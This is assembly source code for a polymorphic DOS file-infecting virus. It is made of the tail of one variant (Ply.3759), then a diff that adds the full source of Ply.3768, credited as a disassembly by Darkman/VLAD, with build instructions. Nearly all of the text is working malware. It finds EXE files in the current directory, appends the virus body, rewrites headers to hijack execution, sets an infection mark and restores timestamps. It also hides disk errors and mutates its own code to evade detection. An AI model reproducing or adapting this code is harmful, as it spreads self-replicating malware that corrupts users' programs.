je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ax,3524h ; Get interrupt vector 24h
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of interrupt 24h
nop
push ax ; Save AX at stack
nop
nop
mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop
mov ax,2524h ; Get interrupt vector 24h
lea dx,int24_virus ; DX = offset of int24_virus
add dx,bp ; Add delta offset
nop
mov ax,(4e00h+2020h) ; Find first matching file
sub ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
pop ax ; Load AX from stack
nop
nop
mov ds,ax ; DS = segment of interrupt 24h
nop
pop dx ; Load DX from stack
nop
nop
mov ax,2524h ; Set interrupt vector 24h
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov ds,bx ; DS = segment of PSP for current ...
nop
mov ah,1ah ; Set disk transfer area address
nop
mov dx,80h ; DX = offset of default disk tran...
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
jmp virus_exit
open_file:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ax,(4f00h+2020h) ; Find next matching file
sub ax,2020h
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(3d02h+2020h) ; Open file (read/write)
sub ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov ax,1111111111111110b
and dx,ax ; DX = " "
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
int24_virus proc near ; Interrupt 24h of Ply.3759
mov al,03h ; Fail system call in progress
nop
jmp int24_exit
nop
endp
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov cx,bx ; CX = " " " " " "
nop
add cx,10h ; CX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],cx ; Add segment of beginning of code...
add cx,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
xor ax,ax ; Zero AX
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,cx ; SS = stack segment
sti ; Set interrupt-enable flag
push ax ; Save AX at stack
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
int24_exit:
iret ; Interrupt return!
db 00h,00h
file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin
@@ -0,0 +1,926 @@
comment *
Ply.3768
Disassembly by
Darkman/VLAD
Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3768 has an error handler, anti-heuristic techniques and
is polymorphic in file using its internal polymorphic engine.
To compile Ply.3768 with Turbo Assembler v 4.0 type:
TASM /m PLY_3768.ASM
TLINK /t /x PLY_3768.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3768
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ax,3524h ; Get interrupt vector 24h
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of interrupt 24h
nop
push ax ; Save AX at stack
nop
nop
mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop
mov ax,2524h ; Get interrupt vector 24h
lea dx,int24_virus ; DX = offset of int24_virus
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(4e00h+2020h) ; Find first matching file
sub ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
pop ax ; Load AX from stack
nop
nop
mov ds,ax ; DS = segment of interrupt 24h
nop
